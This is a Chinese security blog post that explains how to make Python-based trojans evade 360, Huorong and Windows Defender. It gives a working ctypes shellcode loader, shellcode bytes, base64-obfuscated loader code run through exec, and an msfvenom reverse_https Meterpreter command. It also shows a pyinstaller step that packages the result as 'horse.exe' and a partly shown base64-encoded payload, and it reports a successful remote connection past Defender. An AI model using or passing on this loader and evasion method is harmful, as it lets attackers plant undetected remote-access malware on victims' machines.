Python免杀火绒、360和Defender

  • A+
所属分类:安全开发

0x01 简介

之前学习免杀都是使用Metasploit自带的编码进行,从未成功过。也使用过GitHub上别人提供的免杀方法,最近学习并实践发现绕过国内的杀毒软件貌似并不难,本文使用手工分析特征码,使用base64编码绕过杀毒软件静态分析。虽然使用的方法比较简单,但对实际做免杀及免杀研究还是有一定意义的。

0x02 环境

    Windows 10 x64    Python 3.8.3    Pyinstaller    火绒版本:5.0.53.1,病毒库:2020-10-09    360安全卫士:12.0.0.2003,备用木马库:2020-10-10    360杀毒:5.0.0.8170


0x03 原理

杀毒软件的原理一般是匹配特征码,行为监测,虚拟机(沙箱),内存查杀等。360和火绒主要使用特征码检测查杀病毒(云查杀也是特征码检测),本文仅对360、火绒和Defender进行特征码检测绕过,因为Metasploit和CobaltStrike生成的shellcode中包含内存大小检测、网卡地址检测、编码、时区感知和获取系统信息等功能,但有时功能太多反而容易被检测,如图:

Python免杀火绒、360和Defender

因此,本文通过使用base64编码混淆代码来绕过特征检测。

0x04 加载ShellCode

在C/C++语言中,通过申请内存将shellcode加载到内存中进行执行,在Python语言中通过ctypes模块将shellcode加载到内存并执行:

    import ctypes         shellcode = b''    #调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存,0x3000代表MEM_COMMIT | MEM_RESERVE,0x40代表可读可写可执行属性    wiseZERld = ctypes.windll.kernel32.VirtualAlloc(          ctypes.c_int(0),        ctypes.c_int(len(shellcode)),        ctypes.c_int(0x3000),ctypes.c_int(0x40)    )    #调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中    ctypes.windll.kernel32.RtlMoveMemory(        ctypes.c_int(wiseZERld),        shellcode,        ctypes.c_int(len(shellcode))    )    #创建线程并执行shellcode    CVXWRcjqxL = ctypes.windll.kernel32.CreateThread(         ctypes.c_int(0),#指向安全属性的指针        ctypes.c_int(0),#初始堆栈大小        ctypes.c_int(wiseZERld),#指向起始地址的指针        ctypes.c_int(0),#指向任何参数的指针        ctypes.c_int(0),#创建标志        ctypes.pointer(ctypes.c_int(0)))#指向接收线程标识符的值的指针    ctypes.windll.kernel32.WaitForSingleObject(        ctypes.c_int(CVXWRcjqxL),        ctypes.c_int(-1)    )


0x05 定位特征码 

但上面的代码早已被提取特征码,杀毒软件会检测到,如图:

Python免杀火绒、360和Defender

Python免杀火绒、360和Defender

由于代码较少,可通过手工逐行删除文件定位特征码,也可以直接处理所有代码。格式化代码:

    import ctypes    shellcode = b''    wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(wiseZERld),shellcode,ctypes.c_int(len(shellcode)))    CVXWRcjqxL = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(CVXWRcjqxL),ctypes.c_int(-1))


删除第三行或第四行后发现不再报毒,所以仅将这两句进行混淆就可以。

0x06 Base64编码绕过

这里选择混淆所有代码,使用base64将申请内存、载入shellcode和执行shellcode的函数进行编码,然后使用exec函数执行代码:

import ctypesimport base64 #弹出计算器的shellcodeshellcode = b"x89xe5x83xecx20x31xdbx64x8bx5bx30x8bx5bx0cx8bx5b"shellcode += b"x1cx8bx1bx8bx1bx8bx43x08x89x45xfcx8bx58x3cx01xc3"shellcode += b"x8bx5bx78x01xc3x8bx7bx20x01xc7x89x7dxf8x8bx4bx24"shellcode += b"x01xc1x89x4dxf4x8bx53x1cx01xc2x89x55xf0x8bx53x14"shellcode += b"x89x55xecxebx32x31xc0x8bx55xecx8bx7dxf8x8bx75x18"shellcode += b"x31xc9xfcx8bx3cx87x03x7dxfcx66x83xc1x08xf3xa6x74"shellcode += b"x05x40x39xd0x72xe4x8bx4dxf4x8bx55xf0x66x8bx04x41"shellcode += b"x8bx04x82x03x45xfcxc3xbax78x78x65x63xc1xeax08x52"shellcode += b"x68x57x69x6ex45x89x65x18xe8xb8xffxffxffx31xc9x51"shellcode += b"x68x2ex65x78x65x68x63x61x6cx63x89xe3x41x51x53xff"shellcode += b"xd0x31xc9xb9x01x65x73x73xc1xe9x08x51x68x50x72x6f"shellcode += b"x63x68x45x78x69x74x89x65x18xe8x87xffxffxffx31xd2"shellcode += b"x52xffxd0" #将base64编码的代码进行解码func=base64.b64decode(b'Cndpc2VaRVJsZCA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLGN0eXBlcy5jX2ludCgweDMwMDApLGN0eXBlcy5jX2ludCgweDQwKSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludCh3aXNlWkVSbGQpLHNoZWxsY29kZSxjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQpDVlhXUmNqcXhMID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQod2lzZVpFUmxkKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkpCmN0eXBlcy53aW5kbGwua2VybmVsMzIuV2FpdEZvclNpbmdsZU9iamVjdChjdHlwZXMuY19pbnQoQ1ZYV1JjanF4TCksY3R5cGVzLmNfaW50KC0xKSkK') #执行解码后的代码exec(func)


使用msfvenom -p windows/meterpreter/reverse_https lhost=x.x.x.x lport=xxxx -b 'x00x0ax0d' -f python,生成shellcode,替换程序中的shellcode,然后使用pyinstaller -F -w -i a3.ico horse.py打包为horse.exe。使用VirusTotal的检测,有11个引擎报毒,如图:

Python免杀火绒、360和Defender

使用微步云沙箱检测,有1个报毒,但总体评估结果为安全,如图:

Python免杀火绒、360和Defender

使用360安全卫士扫描结果,如图:

Python免杀火绒、360和Defender

360杀毒扫描结果,如图:

Python免杀火绒、360和Defender

Defender扫描结果,如图:

Python免杀火绒、360和Defender

运行时Defender检测到威胁,如图:

Python免杀火绒、360和Defender

Python免杀火绒、360和Defender

服务端建立连接,但被Defender拦截,如图:

Python免杀火绒、360和Defender

使用CobaltStrike生成的payload测试,360、火绒和Defender都检测不到,但使用VirusTotal检测有22个报毒,如图:

Python免杀火绒、360和Defender

使用微步云沙箱检测结果为可疑,如图:

Python免杀火绒、360和Defender

运行时Defender检测不到,成功获得连接,如图:

Python免杀火绒、360和Defender

 此时已成功免杀360、火绒和Defender。但VirtusTotal检测率还是有点高,使用base64编码shellcode减少特征码:

    import ctypes    import base64         shellcode = b'/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAywIRSUlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpezH/6ZEBAADpyQEAAOhvL3RvQTgASxAMkZ+p7ep37I5nZavvutF74mh+EO6iWE1whnPY00prahcR88l6BRlQ2tZ2qYMonaSnUv2sS3XsZwgHjmoy9lJ2rFBHafwqBwBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXaW42N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wZXMuY19pbnQoQ1ZYV1JjanF4TCksY3R5cGVzLmNfaW50KC0xKSkK')         exec(func)


再次进行检测,如图:

Python免杀火绒、360和Defender

 还可以通过自定义的加密函数进行加密特征码从而绕过静态分析的杀毒软件,但混淆代码的免杀能力毕竟有限,新的特征码被提取只是时间问题。

某些Python3无法运行该代码,会报如下错误,如图:

Python免杀火绒、360和Defender

但是换成Python2却可以执行,调试发现python2调用VirtualAlloc函数申请内存返回的结果数据是不超过8位的整数,而python3返回的结果是超过8位不超过16位的,通过搜索发现设置VirtualAlloc函数的返回类型和内存起始地址为c_int64或c_uint64类型即可:


    # -*- coding: UTF-8 -*-    import ctypes    import base64         shellcode =  b""              #设置函数VirtualAlloc的返回类型为c_int64    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int64         wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))         #将shellcode移动到申请的内存,起始地址为c_int64类型    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int64(wiseZERld),shellcode,ctypes.c_int(len(shellcode)))         #创建线程并执行    CVXWRcjqxL = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int64(wiseZERld),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(CVXWRcjqxL),ctypes.c_int(-1))


版权声明:本文为CSDN博主「江左盟宗主」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/qq_32261191/article/details/108994177

【往期推荐】

未授权访问漏洞汇总

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

记一次HW实战笔记 | 艰难的提权爬坑

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

走过路过的大佬们留个关注再走呗Python免杀火绒、360和Defender

往期文章有彩蛋哦Python免杀火绒、360和Defender

Python免杀火绒、360和Defender



本文始发于微信公众号(渗透Xiao白帽):Python免杀火绒、360和Defender

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: